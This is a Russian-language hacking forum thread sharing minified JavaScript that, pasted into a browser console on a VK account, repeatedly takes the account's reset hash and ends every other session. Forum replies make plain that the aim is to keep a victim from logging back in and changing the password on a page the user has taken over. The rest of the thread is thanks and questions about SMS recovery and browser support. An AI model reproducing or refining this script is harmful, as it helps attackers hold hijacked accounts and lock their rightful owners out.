[ХАК ДЛЯ ВК] Скрипт автоматического закрытия всех сеансов ВК, кроме текущего.

Fly

Резидент
Статус
offline
Регистрация
11.05.2016
Сообщения
176
Репутация
189
[formsbox]Особенности:
  • Скрипт, после запуска будет закрывать все открытые сеансы, кроме вашего, чтобы другой юзер с доступом не смог сменить пароль(через настройки).
  • При этом вы можете спокойно пользоваться страницей, т.к. он(скрипт) повторяет работу оригинальных функций ВК, а не эмулирует нажатия на кнопочки.
  • Так-же вы можете переходить по ссылка внутри сайта, при этом скрипт будет продолжать работать, т.к. ВКонтакте НЕ перезагружает страницу при сёрфинге, а значит не останавливает выполнение кода и не выгружает его из памяти.
[/formsbox]

Есть пара нюансов относительно работы:
[formstextarea]
  • Чтобы запустить скрипт, откройте консоль разработчика, в ней вкладку "Консоль", вставьте туда код и нажмите "Enter".
  • Остановить выполнение можно, либо нажав Ctrl+M, либо перезагрузив страницу Ctrl+F5.
  • Настроить интервал закрытия сеансов можно заменив циферки в конце. Сейчас он 5000 мсек. = 5 сек.
[/formstextarea]


Личные:
[USERIDS=68624,46219,79454,42290,68272,86998,73311,16274,92166,32847,87608,83045,111548,65644,111984,67593,89652]
Код:
localStorage.setItem("_nInterval",setInterval(function(){document.addEventListener("keyup",function(d){if(d.code==="KeyM"&&d.ctrlKey&&localStorage.getItem("_nInterval")!==null){clearInterval(Number(localStorage.getItem("_nInterval")));localStorage.removeItem("_nInterval");}});(function(d){d.sendPOST({address:"https://vk.com/settings?act=security",data:{act:"security_activity_history",_ref:"settings"},headers:[{key:"X-Requested-With",value:"XMLHttpRequest"}],callback:function e(r){if(r.target.status===200&&r.target.readyState===4){var m=/"reset_hash":"([\w]+)"/;var p=r.target.response.match(m);if(p!==null){var l=document.createElement("div");l.setAttribute("id","_@iN113_container");var o=document.createElement("form");o.setAttribute("target","_tmp_reset_login_iframe");o.setAttribute("action","https://login.vk.com/");o.setAttribute("method","POST");var n=document.createElement("iframe");n.setAttribute("name","_tmp_reset_login_iframe");var q=[{name:"_origin",value:"https://vk.com"},{name:"role",value:"al_frame"},{name:"ip_h",value:vk.ip_h},{name:"reset_hash",value:p[1]}];var s=0;for(;s<q.length;s++){var t=document.createElement("input");t.setAttribute("type","hidden");t.setAttribute("name",q[s].name);t.setAttribute("value",q[s].value);o.appendChild(t);}n.addEventListener("load",function(f){f.target.parentElement.remove();});l.appendChild(o);l.appendChild(n);document.body.appendChild(l);o.submit();}}}});})({getType:function c(f){var e=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var d=Object.prototype.toString.call(f).replace(/^\[[\w]*\s|\]$/g,"");if(e){return d.toLocaleLowerCase();}else{return d;}},createQuery:function a(f){var d="";if(this.getType(f)=="object"&&Object.keys(f).length>0){var e;for(e in f){if(d.length==0){d=d+(e+(f[e].toString().length>0?"="+encodeURIComponent(f[e]):"="));}else{d=d+("&"+e+(f[e].toString().length>0?"="+encodeURIComponent(f[e]):"="));}}return d;}},sendPOST:function b(f){var d=new XMLHttpRequest;d.open("POST",f.address,!Boolean(f.sync));d.responseType="text";if(this.getType(f.headers)==="array"){var e=0;for(;e<f.headers.length;e++){d.setRequestHeader(f.headers[e].key,f.headers[e].value);}}if(this.getType(f.callback)==="function"){d.onreadystatechange=f.callback;}if(this.getType(f.data)!=="object"){f.data={a:"b"};}d.send(this.createQuery(f.data));}});},
5000));
[/USERIDS]

Код НЕ обфусцирован, просто сжат для удобства.
Работоспособность проверял только в Хроме.
 

GoodSmile

Участник
Статус
offline
Регистрация
12.05.2018
Сообщения
120
Репутация
23
Не объяснишь че делает этот скрипт? А то так и не понял
 

woyamy

Заблокированные
Статус
offline
Регистрация
29.04.2018
Сообщения
6
Репутация
3
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
Не объяснишь че делает этот скрипт? А то так и не понял
автоматическое закрытие всех сеансов ВК, кроме текущего, пользователь не чьей странице ты сидишь просто не сможет на неё зайти и сменить пароль, и личный можно под хайд.
 

N420

Новичок
Статус
offline
Регистрация
11.07.2017
Сообщения
59
Репутация
8
а через телефон если юзер будет пытаться бурится?
 

Dazu

Новичок
Статус
offline
Регистрация
13.01.2018
Сообщения
8
Репутация
0
Тс выдал личный , за что ему огромное спасибо и успехов во всем
 

Bamby

Заблокированные
Статус
offline
Регистрация
04.03.2017
Сообщения
141
Репутация
32
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
В мозиле не работает
 

antonov83

Местный
Статус
offline
Регистрация
02.02.2018
Сообщения
66
Репутация
55
Тема интересная, но я пока слабо представляю, как её использовать, ведь юзер наоборот сразу заподозрит что с его страницей что--то не так и сменит пароль через смс.
 

Compton

Резидент
Статус
offline
Регистрация
01.04.2018
Сообщения
81
Репутация
113
Тема интересная, но я пока слабо представляю, как её использовать, ведь юзер наоборот сразу заподозрит что с его страницей что--то не так и сменит пароль через смс.
Вроде он не сможет сменить пока код будет работать.
 

nanats1

Новичок
Статус
offline
Регистрация
05.08.2018
Сообщения
2
Репутация
0

nanats1

Новичок
Статус
offline
Регистрация
05.08.2018
Сообщения
2
Репутация
0
i am English
 

dreadman

Новичок
Статус
offline
Регистрация
12.08.2018
Сообщения
5
Репутация
2
Благодарю за личный
 
  • Годно
Реакции: Fly